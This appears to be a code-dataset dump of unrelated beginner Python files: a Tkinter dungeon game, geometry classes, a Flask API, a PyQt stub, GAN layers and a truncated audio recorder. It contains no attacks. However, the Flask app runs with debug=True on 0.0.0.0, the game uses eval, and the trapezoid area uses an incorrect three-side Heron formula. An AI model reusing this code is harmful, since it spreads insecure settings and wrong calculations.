ttk.Progressbar(enemyHealthFrame, mode = \"determinate\", orient = \"horizontal\", length = 100, variable = self.enemyDisplayHealth)\n\n attackB = tk.Button(actionFrame, text = \"Attack\", command = lambda: self.attack(rootWindow), bg = bgColour, fg = fgColour)\n fleeB = tk.Button(actionFrame, text = \"Flee - {}% Chance\".format(self.baseFleeChance), command = lambda: self.flee(rootWindow), bg = bgColour, fg = fgColour)\n\n self.battleLog = tk.Text(self.battleWindow, width = 40, height = 15)\n\n wrapper.grid(row = 0, column = 0, padx = (10,0))\n\n playerHealthFrame.grid(row = 0, column = 0)\n playerHealthL.grid(row = 0, column = 0)\n playerHealthPB.grid(row = 1, column = 0)\n\n enemyHealthFrame.grid(row = 1, column = 0)\n enemyHealthL.grid(row = 0, column = 0)\n enemyHealthPB.grid(row = 1, column = 0)\n\n actionFrame.grid(row = 2, column = 0, padx = 5, pady = 5)\n attackB.grid(row = 0, column = 0, padx = 5, pady = 5)\n fleeB.grid(row = 1, column = 0, padx = 5, pady = 5)\n\n self.battleLog.grid(row = 0, column = 1, padx = 10, pady = 10)\n\n self.initEncounter(rootWindow)\n\n def initEncounter(self, rootWindow):\n\n self.enemy = random.choice(self.enemies) # Choose an enemy\n rootWindow.printToLog(rootWindow.log, \"You encountered a {}\\n\".format(self.enemy[0]), \"red\", 1)\n rootWindow.printToLog(self.battleLog, \"You encountered a {}\\n{} Base Health\\n{} Base Attack\\n{} Base Defence\\n\".format(self.enemy[0], self.enemy[1], self.enemy[2], self.enemy[3]), \"red\", 4)\n\n self.enemyHealth = self.enemy[1] # Set its health\n self.enemyDisplayHealth.set(100) # 100% Health\n\n\n def attack(self, rootWindow):\n\n if rootWindow.checkTool(\"sword\") != None:\n attackDamage = 6\n rootWindow.checkTool(\"sword\").use(1)\n else:\n attackDamage = 3\n\n playerDamageVariance = 2 # Each STR point == 5% extra damage\n damage = (attackDamage + self.enemy[3] + random.uniform(0, playerDamageVariance)) * ((rootWindow.STR.get() * 5 + 100) / 100) # Our base attack damage + the enemies defence + variance * Strength Stat\n self.enemyHealth -= damage # Damage the enemy\n self.enemyDisplayHealth.set((self.enemyHealth / self.enemy[1]) * 100) # Display it on the progress bar as a percentage of the total health\n\n rootWindow.printToLog(self.battleLog, \"You have delivered {:.2f} damage\\n\".format(damage), \"blue\", 1)\n\n rootWindow.health.set(rootWindow.health.get() - self.enemy[2])\n self.playerDisplayHealth.set(((rootWindow.health.get() / rootWindow.healthCap) * 100))\n rootWindow.printToLog(self.battleLog, \"You have recieved {} damage\\n\".format(self.enemy[2]), \"red\", 1)\n\n if self.enemyHealth <= 0:\n # Give the player a random resource as a reward\n resource = random.choice([\"meat\", \"wood\", \"stone\"])\n num = random.randint(0, 20)\n\n rootWindow.printToLog(rootWindow.log, \"You WON and got {} {}\\n\".format(num, resource), \"green\", 1)\n\n eval(\"{}{}.set({}{}.get() + {})\".format(\"rootWindow.\", resource,\"rootWindow.\", resource, num))\n\n rootWindow.inBattle = False\n\n self.battleWindow.after(500, self.battleWindow.destroy)\n\n rootWindow.addXp(20) # Give the player 20 xp\n\n\n if rootWindow.health.get() <= 0:\n rootWindow.printToLog(rootWindow.log, \"You have died\\n\", \"red\", 1)\n rootWindow.after(500, rootWindow.destroy)\n\n def flee(self, rootWindow):\n\n chance = random.choice([1] * self.baseFleeChance + [0] * (100 - self.baseFleeChance))\n\n if chance == 1:\n rootWindow.printToLog(self.battleLog, \"You successfully fled from battle!\\n\", \"green\", 1)\n self.battleWindow.after(500, self.battleWindow.destroy)\n rootWindow.inBattle = False\n\n#####################################################################################################\n# DT = Dungeon Template\nDT1 = [[0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],\n [0,1,1,1,3,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0],\n [0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0],\n [0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0],\n [0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0],\n [0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,1,0,0],\n [0,1,0,1,0,1,1,4,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0],\n [0,1,1,1,0,3,1,1,1,1,0,1,0,0,0,1,1,1,0,0,1,0,1,0,0],\n [0,0,0,1,0,0,0,3,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0],\n [0,0,0,4,0,0,0,1,1,1,1,1,0,0,0,1,0,4,1,3,1,0,1,0,0],\n [0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0],\n [0,0,0,4,0,1,1,1,1,1,0,0,1,1,0,1,0,1,1,1,0,0,1,0,0],\n [0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,1,1,4,1,1,1,1,1,0],\n [0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,3,0],\n [0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]]\n\nDT2 = [[0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],\n [0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],\n [0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,3,0,0],\n [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0],\n [0,1,1,1,1,1,1,1,1,1,1,0,1,1,3,0,1,1,1,0,1,0,1,4,0],\n [0,1,0,0,0,0,1,0,0,0,1,1,3,4,1,0,1,0,1,0,1,0,1,0,0],\n [0,1,0,3,4,0,1,0,0,0,1,0,1,1,4,0,1,0,1,0,1,0,1,0,0],\n [0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0],\n [0,1,0,1,1,1,1,0,0,0,1,0,4,3,1,0,1,0,1,0,3,0,1,0,0],\n [0,1,0,0,0,0,0,0,0,0,1,0,1,1,3,1,1,0,1,0,1,0,1,0,0],\n [0,1,1,1,1,1,1,1,1,1,1,0,4,3,1,0,1,0,1,0,1,0,1,0,0],\n [0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,3,0,1,0,3,0,0],\n [0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0],\n [0,1,0,1,1,1,1,3,1,0,1,1,1,1,1,0,1,0,1,0,1,0,1,0,0],\n [0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0],\n [0,1,0,1,1,3,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0],\n [0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,1,0,1,0,0],\n [0,1,0,1,1,3,1,1,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0],\n [0,1,0,4,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0],\n [0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],]\n\ndungeonChoices = [DT1, DT2]\n\nclass DungeonMenu:\n def __init__(self, rootWindow):\n \"\"\"\n Outlines the attributes and creates the dungeon\n \"\"\"\n\n # 0 = Wall\n # 1 = Path\n # 2 = Exit\n # 3 = Possible Fight\n # 4 = Treasure\n # y,x (row,column)\n\n self.wallSprite = Image.open(\"Wall.jpg\")\n self.wallSprite = self.wallSprite.resize((20, 20), Image.ANTIALIAS)\n self.wallSprite = ImageTk.PhotoImage(self.wallSprite)\n\n self.chestSprite = Image.open(\"Chest.png\")\n self.chestSprite = self.chestSprite.resize((20, 20), Image.ANTIALIAS)\n self.chestSprite = ImageTk.PhotoImage(self.chestSprite)\n\n self.rootWindow = rootWindow\n\n self.playerCoords = [0,1] # row, column\n\n self.dungeonFrame = tk.Toplevel(bg = bgColour)\n self.dungeonWrapper = tk.Frame(self.dungeonFrame)\n textBoxWrapper = tk.Frame(self.dungeonFrame)\n self.dungeonLog = tk.Text(textBoxWrapper, width = 40, height = 22, bg = bgColour)\n\n self.dungeonWrapper.grid(row = 0, column = 0, padx = 10, pady = 10)\n\n textBoxWrapper.grid(row = 0, column = 1, padx = (0,10), pady = 10)\n self.dungeonLog.grid(row = 0, column = 0)\n\n self.dungeon = random.choice(dungeonChoices)\n\n self.draw()\n\n self.prev = tk.Label(self.dungeonWrapper, bg = \"green\", width = 2, height = 1)\n self.prev.grid(row = self.playerCoords[0], column = self.playerCoords[1])\n\n self.dungeonFrame.bind(\"a\", self.left)\n self.dungeonFrame.bind(\"d\", self.right)\n self.dungeonFrame.bind(\"s\", self.down)\n self.dungeonFrame.bind(\"w\", self.up)\n\n def draw(self):\n \"\"\"\n Draws the dungeon and the player at his starting position\n \"\"\"\n\n fightOptions = []\n treasureOptions = []\n\n for indexRow,row in enumerate(self.dungeon):\n for indexColumn,value in enumerate(row):\n if value == 3:\n fightOptions.append([indexRow, indexColumn])\n elif value == 4:\n treasureOptions.append([indexRow, indexColumn])\n\n\n amountOfFights = math.ceil(len(fightOptions) / 4) # 25% of possible fights\n amountOfTreasure = math.ceil(len(treasureOptions) / 4) # 25% of possible fights\n \n # We remove 75% of possible fights\n for x in range(len(fightOptions) - amountOfFights): # 100% - 25% = 75%\n temp = random.choice(fightOptions)\n self.dungeon[temp[0]][temp[1]] = 1\n fightOptions.remove(temp)\n \n # We remove 75% of treasure\n for x in range(len(treasureOptions) - amountOfTreasure): # 100% - 25% = 75%\n temp = random.choice(treasureOptions)\n self.dungeon[temp[0]][temp[1]] = 1\n treasureOptions.remove(temp)\n \n \n for indexRow,row in enumerate(self.dungeon):\n for indexColumn,value in enumerate(row):\n if value == 0:\n tk.Label(self.dungeonWrapper, image = self.wallSprite).grid(row = indexRow, column = indexColumn)\n elif value == 1:\n tk.Label(self.dungeonWrapper, bg = \"white\", width = 2, height = 1).grid(row = indexRow, column = indexColumn)\n elif value == 2:\n tk.Label(self.dungeonWrapper, bg = \"blue\", text = \"EXIT\", width = 2, height = 1, fg = \"white\").grid(row = indexRow, column = indexColumn)\n elif value == 3:\n tk.Label(self.dungeonWrapper, bg = \"red\", width = 2, height = 1).grid(row = indexRow, column = indexColumn)\n elif value == 4:\n tk.Label(self.dungeonWrapper, image = self.chestSprite).grid(row = indexRow, column = indexColumn)\n\n def checkTile(self):\n\n if self.dungeon[self.playerCoords[0]][self.playerCoords[1]] == 3: # If the tile is a \"fight\" tile\n self.dungeon[self.playerCoords[0]][self.playerCoords[1]] = 1\n Battle = BattleMenu(self.rootWindow)\n tk.Label(self.dungeonWrapper, bg = \"white\", width = 2, height = 1).grid(row = self.playerCoords[0], column = self.playerCoords[1])\n self.prev.grid_remove()\n self.prev = tk.Label(self.dungeonWrapper, bg = \"green\", width = 2, height = 1)\n self.prev.grid(row = self.playerCoords[0], column = self.playerCoords[1])\n\n elif self.dungeon[self.playerCoords[0]][self.playerCoords[1]] == 2:\n self.rootWindow.printToLog(self.dungeonLog, \"You have found the exit!\\n\", \"red\", 1)\n self.dungeonFrame.after(1000, self.dungeonFrame.destroy)\n\n\n def left(self, event):\n \"\"\"\n Dungeon - Player movement left\n \"\"\"\n\n # If the tile west of the player isn't a wall\n if self.dungeon[self.playerCoords[0]][self.playerCoords[1] - 1] != 0 and not self.rootWindow.inBattle:\n # Move the player left\n self.playerCoords[1] -= 1\n self.prev.grid_remove()\n # Draw the player in his new position\n self.prev = tk.Label(self.dungeonWrapper, bg = \"green\", width = 2, height = 1)\n self.prev.grid(row = self.playerCoords[0], column = self.playerCoords[1])\n self.checkTile()\n self.rootWindow.recover(\"pass\")\n\n\n def right(self, event):\n \"\"\"\n Dungeon - Player movement right\n \"\"\"\n\n # If the tile east of the player isn't a wall\n if self.dungeon[self.playerCoords[0]][self.playerCoords[1] + 1] != 0 and not self.rootWindow.inBattle:\n # Move the player left\n self.playerCoords[1] += 1\n self.prev.grid_remove()\n # Draw the player in his new position\n self.prev = tk.Label(self.dungeonWrapper, bg = \"green\", width = 2, height = 1)\n self.prev.grid(row = self.playerCoords[0], column = self.playerCoords[1])\n self.checkTile()\n self.rootWindow.recover(\"pass\")\n\n\n def up(self, event):\n \"\"\"\n Dungeon - Player movement up\n \"\"\"\n\n # If the tile north of the player isn't a wall\n if self.dungeon[self.playerCoords[0] - 1][self.playerCoords[1]] != 0 and not self.rootWindow.inBattle:\n # Move the player left\n self.playerCoords[0] -= 1\n self.prev.grid_remove()\n # Draw the player in his new position\n self.prev = tk.Label(self.dungeonWrapper, bg = \"green\", width = 2, height = 1)\n self.prev.grid(row = self.playerCoords[0], column = self.playerCoords[1])\n self.checkTile()\n self.rootWindow.recover(\"pass\")\n\n\n def down(self, event):\n \"\"\"\n Dungeon - Player movement down\n \"\"\"\n\n # If the tile south of the player isn't a wall\n if self.dungeon[self.playerCoords[0] + 1][self.playerCoords[1]] != 0 and not self.rootWindow.inBattle:\n # Move the player left\n self.playerCoords[0] += 1\n self.prev.grid_remove()\n # Draw the player in his new position\n self.prev = tk.Label(self.dungeonWrapper, bg = \"green\", width = 2, height = 1)\n self.prev.grid(row = self.playerCoords[0], column = self.playerCoords[1])\n self.checkTile()\n self.rootWindow.recover(\"pass\")\n\nclass InventoryMenu:\n\n def __init__(self, rootWindow):\n\n self.inventoryFrame = tk.Toplevel()\n self.inventoryFrame.configure(background = bgColour)\n\n count = 0\n for x in rootWindow.inventory:\n frame = tk.Frame(self.inventoryFrame, bg = bgColour)\n frame.grid(row = count, column = 0, padx = 20, pady = 20)\n\n Lab = tk.Label(frame, text = x.type, bg = bgColour, fg = fgColour)\n Lab.grid(row = 0, column = 0)\n\n PB = ttk.Progressbar(frame, length = 100, mode = \"determinate\", variable = tk.IntVar(value = rootWindow.inventory[count].durability))\n PB.grid(row = 0, column = 1)\n\n print(rootWindow.inventory[count].durability)\n\n count += 1\n\n\n if count == 0 :\n tk.Label(self.inventoryFrame, text = \"Your Inventory Is Empty\", bg = bgColour, fg = fgColour).grid(row = 0, column = 0)\n\n\n#####################################################################################################\n\n\nroot = tk.Tk()\nMain = MainWindow(root)\nroot.mainloop()\n","sub_path":"Tkinter - Text Based Game/2. Tkinter Game - Classes.py","file_name":"2. Tkinter Game - Classes.py","file_ext":"py","file_size_in_byte":39407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"401185948","text":"\"\"\"#By considering the terms in the Fibonacci sequence whose values\r\ndo not exceed four million, find the sum of the even-valued terms.\"\"\"\r\n\r\ndef fibonacciEvenSum(limit):\r\n even_sum = 2\r\n term1 = 1\r\n term2 = 2\r\n temp = 0\r\n\r\n while (term2 < limit):\r\n temp = term2\r\n term2 += term1\r\n term1 = temp\r\n\r\n if term2 % 2 == 0:\r\n even_sum += term2\r\n\r\n return even_sum\r\n\r\n\r\nprint (fibonacciEvenSum(4000000))\r\n","sub_path":"p002.py","file_name":"p002.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"571279521","text":"# Задача-1: Написать класс для фигуры-треугольника, заданного координатами трех точек.\n# Определить методы, позволяющие вычислить: площадь, высоту и периметр фигуры.\nimport math\n\n\nclass Triangle(object):\n\n def __init__(self, x1, y1, x2, y2, x3, y3):\n self.ax = x1\n self.ay = y1\n self.bx = x2\n self.by = y2\n self.cx = x3\n self.cy = y3\n self.a = math.sqrt((self.bx - self.cx) ** 2 + (self.by - self.cy) ** 2)\n self.b = math.sqrt((self.ax - self.cx) ** 2 + (self.ay - self.cy) ** 2)\n self.c = math.sqrt((self.ax - self.bx) ** 2 + (self.ay - self.by) ** 2)\n\n def area(self):\n triangle_area = math.fabs(\n 1 / 2 * ((self.ax - self.cx) * (self.by - self.cy) - (self.ay - self.cy) * (self.bx - self.cx)))\n return triangle_area\n\n def high(self, letter):\n if letter == 'a':\n return 2 * self.area() / self.a\n elif letter == 'b':\n return 2 * self.area() / self.b\n elif letter == 'c':\n return 2 * self.area() / self.c\n\n def perimeter(self):\n return self.a + self.b + self.c\n\n\nmyTriangle = Triangle(3, 2, 7, 5, 0, 0)\n\nprint(myTriangle.area())\nprint(myTriangle.high('a'))\nprint(myTriangle.high('b'))\nprint(myTriangle.high('c'))\nprint(myTriangle.perimeter())\n\n\n# Задача-2: Написать Класс \"Равнобочная трапеция\", заданной координатами 4-х точек.\n# Предусмотреть в классе методы:\n# проверка, является ли фигура равнобочной трапецией;\n# вычисления: длины сторон, периметр, площадь.\n\nclass Point():\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n\nclass Vector():\n\n def __init__(self, p1: Point, p2: Point):\n self.x = p1.x - p2.x\n self.y = p1.y - p2.y\n\n\ndef is_kollinear(a: Vector, b: Vector): # через определитель матрицы\n opredelitel_matrici = a.x*b.y-a.y*b.x\n if opredelitel_matrici == 0:\n return True\n else:\n return False\n\n\nclass Trapecia():\n\n def __init__(self, p1, p2, p3, p4): # конструктор\n self.v_a = Vector(p1, p2)\n self.v_b = Vector(p2, p3)\n self.v_c = Vector(p3, p4)\n self.v_d = Vector(p4, p1)\n self.a = math.sqrt((p2.x - p1.x) ** 2 + (p2.y - p1.y) ** 2)\n self.b = math.sqrt((p3.x - p2.x) ** 2 + (p3.y - p2.y) ** 2)\n self.test = 'Test'\n self.c = math.sqrt((p4.x - p3.x) ** 2 + (p4.y - p3.y) ** 2)\n self.d = math.sqrt((p1.x - p4.x) ** 2 + (p1.y - p4.y) ** 2)\n self.perimeter = self.a + self.b + self.c + self.d\n _p = self.perimeter / 2 # полупериметр, как локальная переменная\n self.area = math.sqrt(_p * (_p - self.a) * (_p - self.b) * (_p - self.c)) # формула Герона\n\n def is_iso_trapecia(self): # является ли фигура равнобедренной трапецией\n if is_kollinear(self.v_a, self.v_c):\n if self.b == self.d:\n return True\n if is_kollinear(self.v_b, self.v_d):\n if self.a == self.c:\n return True\n\n return False\n\n def area(self):\n return self.area\n\n# Напор точек #1\na = Point(0, 0)\nb = Point(1, 3)\nc = Point(3, 3)\nd = Point(4, 0)\n#\n# Напор точек #2\na1 = Point(0, 0)\nb1 = Point(0, 3)\nc1 = Point(3, 3)\nd1 = Point(3, 0)\n\n# Напор точек #3\na2 = Point(0, 0)\nb2 = Point(1, 3)\nc2 = Point(3, 3)\nd2 = Point(5, 0)\n\nmy_trapecia1 = Trapecia(a, b, c, d) # равнобедренная трапеция\nmy_trapecia1 = Trapecia(a1, b1, c1, d1) # квадрат - равнобедренная\nmy_trapecia = Trapecia(a2, b2, c2, d2) # НЕ равнобедренная трапеция\n\nprint(\"задача 2\")\n\nprint(f\"Площадь трапеции = {my_trapecia.area}\")\nprint(\"Длины торон трапеции:\")\nprint(my_trapecia.a)\nprint(my_trapecia.b)\nprint(my_trapecia.c)\nprint(my_trapecia.d)\nprint(f\"Периметр трапеции = {my_trapecia.perimeter}\")\n\nprint(\"Является ли данная трапеция равностроннней:\")\nprint(my_trapecia.is_iso_trapecia())\n\n","sub_path":"lesson06/home_work/hw06_easy.py","file_name":"hw06_easy.py","file_ext":"py","file_size_in_byte":4433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"593465732","text":"from flask import Flask, jsonify\n\napp = Flask(__name__)\n\n@app.route(\"/city\")\ndef city():\n citydata = {\"name\": \"pune\", \"pincode\": 416011 }\n return jsonify(citydata)\n\n\n@app.route(\"/employee\")\ndef empolyee():\n result = {\"id\": 1, \"name\": \"Prince\"}\n return jsonify(result)\n\n\nif __name__ == '__main__':\n app.run(debug=True,host='0.0.0.0',port=8080)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"503820733","text":"from PyQt4.QtGui import *\r\nfrom PyQt4.QtCore import *\r\nfrom RadioButton import *\r\nimport sys\r\nimport sqlite3\r\n\r\nclass Window (QMainWindow):\r\n \"\"\"Charity Shop Program\"\"\"\r\n def __init__(self):\r\n super().__init__()\r\n \r\n self.setWindowTitle(\"Charity Shop Database Management\")\r\n\r\n self.resize(750,500)\r\n\r\n self.LoadDatabase = QAction(\"Load Database\", self)\r\n self.Recreate = QAction(\"Recreate Database\",self)\r\n self.EndProgram = QAction(\"Close Program\", self)\r\n self.Insert = QAction(\"Insert\", self)\r\n self.Update = QAction(\"Update\", self)\r\n self.Delete = QAction(\"Delete\", self)\r\n self.Options = QAction(\"Options\", self)\r\n\r\n self.menuBar = QMenuBar()\r\n self.fileMenu = self.menuBar.addMenu(\"File\")\r\n self.fileMenu.addAction(self.EndProgram)\r\n self.databaseMenu = self.menuBar.addMenu(\"Database\")\r\n self.databaseMenu.addAction(self.LoadDatabase)\r\n self.databaseMenu.addAction(self.Recreate)\r\n self.databaseMenu.addAction(self.Insert)\r\n self.databaseMenu.addAction(self.Update)\r\n self.databaseMenu.addAction(self.Delete)\r\n self.settingsMenu = self.menuBar.addMenu(\"Settings\")\r\n self.settingsMenu.addAction(self.Options)\r\n\r\n self.toolBar = QToolBar(\"ToolBar\")\r\n self.toolBar.addAction(self.Insert)\r\n self.toolBar.addAction(self.Update)\r\n self.toolBar.addAction(self.Delete)\r\n\r\n self.addToolBar(self.toolBar)\r\n self.setMenuBar(self.menuBar)\r\n\r\n self.Recreate.triggered.connect(self.RecreateConnect)\r\n self.EndProgram.triggered.connect(self.EndProgramConnect)\r\n self.Insert.triggered.connect(self.InsertConnect)\r\n self.Update.triggered.connect(self.FileDialogConnect)\r\n self.Delete.triggered.connect(self.RadioButtons)\r\n\r\n def WidgetCenteral(self):\r\n self.gridLayout = QGridLayout()\r\n self.gridLayout.addWidget(self.RadioButtons())\r\n\r\n def FileDialogConnect(self):\r\n self.fileDialog = QFileDialog()\r\n fileName = self.fileDialog.getOpenFileName(self, 'Select a file yo',\r\n '/home')\r\n file = open(fileName, 'r')\r\n\r\n with file:\r\n data = file.read()\r\n self.textEdit.setText(data) \r\n\r\n def RadioButtons(self):\r\n self.radioButtonss = RadioButtonWidget(\"Choose somethin\", \"Yeah, do that\", (\"Insert\",\"Update\",\"Delete\"))\r\n self.instantiateButton = QPushButton(\"Hella\")\r\n self.initialLayout = QVBoxLayout()\r\n self.initialLayout.addWidget(self.radioButtonss)\r\n self.initialLayout.addWidget(self.instantiateButton)\r\n self.selectOption = QWidget()\r\n self.selectOption.setLayout(self.initialLayout)\r\n self.setCentralWidget(self.selectOption)\r\n def LoadDatabaseConnect(self):\r\n print(\"Database Loading...\")\r\n\r\n def OptionsDialog(self):\r\n self.OptionsWindow = QDialog()\r\n anotherDialog = 0\r\n\r\n def RecreateConnect(self):\r\n print(\"Recreating database...\")\r\n\r\n def EndProgramConnect(self):\r\n print(\"Program gonna close\")\r\n\r\n def InsertConnect(self):\r\n print(\"Choose data to Insert\")\r\n\r\n def UpdateConnect(self):\r\n print(\"Choose data to Update\")\r\n\r\n def DeleteConnect(self):\r\n print(\"Choose data to Delete\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nif __name__ == \"__main__\":\r\n Application = QApplication(sys.argv)\r\n Window = Window()\r\n Window.show()\r\n Window.raise_()\r\n Application.exec_()\r\n \r\n\r\n \r\n \r\n","sub_path":"Implementation/GUI/Main Window.py","file_name":"Main Window.py","file_ext":"py","file_size_in_byte":3968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"308179120","text":"class Employee:\n no_of_leaves=8\n def __init__(self, aname, asalary, arole):\n self.name=aname\n self.salary=asalary\n self.role=arole\n\n def printdetails(self):\n return f\"name is {self.name}.Salary is {self.salary} and roll is {self.role}\"\n\n @classmethod\n def change_leaves(cls, change):\n cls.no_of_leaves = change\n\n @classmethod\n def slash(cls, string):\n # params = string.split(\"/\")\n # print(params)\n # return cls(params[0], params[1], params[2])\n return cls(*string.split((\"/\")))\n\n\n\nharry=Employee(\"harry\",455,\"Instructor\")\nrohan=Employee(\"rohan\",255,\"Student\")\nkaran=Employee.slash(\"karan/34/Hacker\")\nprint(karan.salary)\nprint(karan.name)\nprint(karan.role)\nEmployee.change_leaves(5)\nprint(karan.no_of_leaves)\nkaran.change_leaves(10)\nprint(Employee.no_of_leaves)\nprint(karan.no_of_leaves)\nprint(harry.no_of_leaves)","sub_path":"pythontuts/oops5.py","file_name":"oops5.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"225726705","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, print_function, division\n\nimport tensorflow as tf\n\nfrom niftynet.layer.base_layer import TrainableLayer\n\n\n# import niftynet.engine.logging as logging\n\nclass GANImageBlock(TrainableLayer):\n def __init__(self,\n generator,\n discriminator,\n clip=None,\n name='GAN_image_block'):\n self._generator = generator\n self._discriminator = discriminator\n self.clip = clip\n super(GANImageBlock, self).__init__(name=name)\n\n def layer_op(self,\n random_source,\n training_image,\n conditioning,\n is_training):\n shape_to_generate = training_image.get_shape().as_list()[1:]\n fake_image = self._generator(\n random_source, shape_to_generate, conditioning, is_training)\n fake_logits = self._discriminator(\n fake_image, conditioning, is_training)\n if self.clip:\n with tf.name_scope('clip_real_images'):\n training_image = tf.maximum(\n -self.clip,\n tf.minimum(self.clip, training_image))\n real_logits = self._discriminator(\n training_image, conditioning, is_training)\n\n # with tf.name_scope('summaries_images'):\n # if len(fake_image.get_shape()) - 2 == 3:\n # logging.image3_axial('fake', (fake_image / 2 + 1) * 127, 2, [logging.LOG])\n # logging.image3_axial('real', tf.maximum(0., tf.minimum(255., (training_image / 2 + 1) * 127)), 2, [logging.LOG])\n # if len(fake_image.get_shape()) - 2 == 2:\n # tf.summary.fake_image('fake', (fake_image / 2 + 1) * 127, 2, [logging.LOG])\n # tf.summary.fake_image('real', tf.maximum(0., tf.minimum(255., (training_image / 2 + 1) * 127)), 2, [logging.LOG])\n return fake_image, real_logits, fake_logits\n\n\nclass BaseGenerator(TrainableLayer):\n def __init__(self, name='generator', *args, **kwargs):\n super(BaseGenerator, self).__init__(name=name)\n\n\nclass BaseDiscriminator(TrainableLayer):\n def __init__(self, name='discriminator', *args, **kwargs):\n super(BaseDiscriminator, self).__init__(name=name)\n","sub_path":"niftynet/layer/gan_blocks.py","file_name":"gan_blocks.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"353055277","text":"import os\nimport re\n\nfrom Util import commonUtil\nfrom Util import fileUtil\n\nflag_ignore = re.IGNORECASE\n# Head = 'Head.txt'\nDefault = ['Hour', 'Day', 'Month', 'Year']\nHead = 'Head'\n\n\ndef rwCSV(filesAggregated: list, fileOutput: str, needColumns: list, Default: list, pivot='datetime') -> list:\n\n files = []\n raw_output = fileOutput\n fileOutput = commonUtil.getPath(fileOutput)\n for f in filesAggregated:\n\n raw_name = f\n fileInput = commonUtil.getPath(f)\n\n data = fileUtil.readFromFileToData(fileInput=fileInput)\n # Default columns in the last columns\n vals = commonUtil.d(needColumns, Default)\n for attr in needColumns + Default:\n vals[attr] = data[attr]\n\n tmpName = raw_name.split(os.sep)[1]\n\n # Lost Order\n fileUtil.saveDataToCSV(fileOutput + f\"_{tmpName}\", vals)\n files.append(raw_output + f\"_{tmpName}\")\n\n return files\n","sub_path":"Step3_ColumnSelection/PickUpColumns.py","file_name":"PickUpColumns.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"531704223","text":"import pyaudio\nimport wave\nimport os\nimport threading\nimport time\nimport speech_recognition as sr\nfrom datetime import date\nfrom recordDailyAudio import recordDailyAudioFunc\nfrom datetime import datetime as dt\n\ndef main():\n while True:\n chunk = 1024 # Record in chunks of 1024 samples\n sample_format = pyaudio.paInt16 # 16 bits per 